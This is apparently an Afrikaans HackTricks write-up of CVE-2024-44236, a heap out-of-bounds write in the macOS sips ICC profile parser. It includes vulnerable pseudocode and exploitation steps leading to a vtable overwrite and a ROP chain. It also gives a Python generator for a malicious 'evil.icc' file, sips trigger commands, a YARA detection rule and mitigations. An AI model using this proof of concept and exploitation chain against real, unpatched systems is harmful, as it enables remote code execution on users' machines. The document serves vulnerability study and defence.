WWW2Exec - sips ICC Profiel Uit-die-grense Skryf (CVE-2024-44236)

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

'n Uit-die-grense zero-write kwesbaarheid in Apple macOS Scriptable Image Processing System (sips) ICC profiel parser (macOS 15.0.1, sips-307) laat 'n aanvaller toe om heap metadata te korrupteer en die primitiewe in volle kode-uitvoering te draai. Die fout is geleë in die hantering van die offsetToCLUT veld van die lutAToBType (mAB ) en lutBToAType (mBA ) etikette. As aanvallers offsetToCLUT == tagDataSize stel, verwyder die parser 16 bytes oor die einde van die heap buffer. Heap spraying laat die aanvaller toe om allokator strukture of C++ pointers wat later gedereferensieer sal word, op nul te stel, wat 'n arbitrary-write-to-exec ketting oplewer (CVE-2024-44236, CVSS 7.8).

Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025.

Kwesbare Kode

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Exploitasiestappe

  1. Skep 'n kwaadwillige .icc profiel
  • Stel 'n minimale ICC kop (acsp) op en voeg een mAB (of mBA ) etiket by.
  • Konfigureer die etiket tabel sodat die offsetToCLUT gelyk is aan die etiketgrootte (tagDataSize).
  • Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul skrywe oorvleuel met die allokator metadata.
  1. Trigger parsing met enige sips operasie wat die profiel raak
bash
# verifikasiepaaie (geen uitvoerfile benodig nie)
sips --verifyColor evil.icc
# of implisiet wanneer beelde wat die profiel inkorporeer, omskakel
sips -s format png payload.jpg --out out.png
  1. Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP Op Apple se standaard nano_zone allokator, metadata vir 16-byte slots leef onmiddellik na die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, klap die 16 nul-skrywe meta->slot_B. Na 'n daaropvolgende free, word die vergiftigde pointeur in die klein vrye lys geplaas, wat die aanvaller toelaat om 'n vals objek op 'n arbitrêre adres te allokeer en 'n C++ vtable pointeur wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.

Vinige PoC generator (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

YARA opsporingsreël

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Impak

Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand arbitraire kode-uitvoering in die konteks van die aanroepende gebruiker (Preview, QuickLook, Safari beeldrendering, e-posaanhangsels, ens.), wat Gatekeeper omseil omdat die profiel in andersins goedaardige beelde (PNG/JPEG/TIFF) ingebed kan word.

Opsporing & Versagting

  • Patches! Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai.
  • Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings.
  • Verwyder of saniteer ingebedde ICC-profiele met exiftool -icc_profile= -overwrite_original <file> voordat verdere verwerking op onbetroubare lêers plaasvind.
  • Versterk Preview/QuickLook deur hulle binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
  • Vir DFIR, soek na onlangse uitvoering van sips --verifyColor of ColorSync biblioteeklaai deur gesandboksde toepassings in die verenigde log.

Verwysings

  • Trend Micro Zero Day Initiative advies ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple sekuriteitsopdaterings HT213981 “Oor die sekuriteitsinhoud van macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks